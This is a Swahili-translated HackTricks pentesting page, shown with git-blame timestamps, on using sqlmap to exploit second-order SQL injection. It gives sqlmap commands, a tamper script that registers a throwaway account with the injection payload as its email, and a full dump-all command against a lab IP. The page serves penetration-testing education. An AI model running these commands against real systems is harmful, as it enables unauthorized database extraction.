hacktricks/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md

99 lines
5.5 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:13:58 +00:00
**SQLMap inaweza kutumia Second Order SQLis.**\
Unahitaji kutoa:
2020-07-22 19:36:23 +00:00
2024-02-11 02:13:58 +00:00
* **Ombi** ambapo **malipo ya sqlinjection** yatahifadhiwa
* **Ombi** ambapo **malipo** yatakuwa **yamefanywa**
2020-07-22 19:36:23 +00:00
2024-02-11 02:13:58 +00:00
Ombi ambapo malipo ya SQL injection yamehifadhiwa **imeonyeshwa kama kwenye sindano nyingine yoyote katika sqlmap**. Ombi **ambapo sqlmap inaweza kusoma pato/utekelezaji** wa sindano inaweza kuonyeshwa na `--second-url` au na `--second-req` ikiwa unahitaji kuonyesha ombi kamili kutoka kwenye faili.
2020-07-22 19:36:23 +00:00
2024-02-11 02:13:58 +00:00
**Mfano rahisi wa second order:**
2020-07-22 19:36:23 +00:00
```bash
2020-07-22 22:00:44 +00:00
#Get the SQL payload execution with a GET to a url
2020-07-22 19:36:23 +00:00
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
2020-07-22 22:00:44 +00:00
#Get the SQL payload execution sending a custom request from a file
2020-07-22 19:36:23 +00:00
sqlmap -r login.txt -p username --second-req details.txt
```
2024-02-11 02:13:58 +00:00
Katika visa kadhaa **hii haitoshi** kwa sababu utahitaji **kufanya hatua nyingine** mbali na kutuma mzigo na kupata upatikanaji wa ukurasa tofauti.
2020-07-22 19:36:23 +00:00
2024-02-11 02:13:58 +00:00
Wakati hii inahitajika, unaweza kutumia **sqlmap tamper**. Kwa mfano, hati ifuatayo itasajili mtumiaji mpya **kwa kutumia mzigo wa sqlmap kama barua pepe** na kisha kujitoka.
2020-07-22 19:36:23 +00:00
```python
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
2024-02-11 02:13:58 +00:00
pass
2020-07-22 19:36:23 +00:00
def login_account(payload):
2024-02-11 02:13:58 +00:00
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
2020-07-22 19:36:23 +00:00
2024-02-11 02:13:58 +00:00
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
2020-07-22 19:36:23 +00:00
2024-02-11 02:13:58 +00:00
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
2020-07-22 19:36:23 +00:00
def tamper(payload, **kwargs):
2024-02-11 02:13:58 +00:00
headers = kwargs.get("headers", {})
login_account(payload)
return payload
2020-07-22 19:36:23 +00:00
```
2024-02-11 02:13:58 +00:00
Tamper scripts za SQLMap zinatekelezwa kabla ya kuanza jaribio la kuingiza payload na lazima irudishe payload. Katika kesi hii, hatujali payload lakini tunajali kutuma maombi fulani, kwa hivyo payload haijabadilishwa.
2020-07-22 19:36:23 +00:00
2024-02-11 02:13:58 +00:00
Kwa hivyo, ikiwa kwa sababu fulani tunahitaji mchakato wenye nguvu zaidi wa kufaidika na SQL injection ya pili kama:
2020-07-22 19:36:23 +00:00
2024-02-11 02:13:58 +00:00
* Unda akaunti na payload ya SQLi ndani ya uga wa "barua pepe"
* Toka
* Ingia na akaunti hiyo (login.txt)
* Tuma ombi la kutekeleza SQL injection (second.txt)
2020-07-22 19:36:23 +00:00
2024-02-11 02:13:58 +00:00
**Mstari huu wa sqlmap utasaidia:**
2020-07-22 19:36:23 +00:00
```bash
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
2022-05-01 12:41:36 +00:00
##########
2020-07-22 19:36:23 +00:00
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>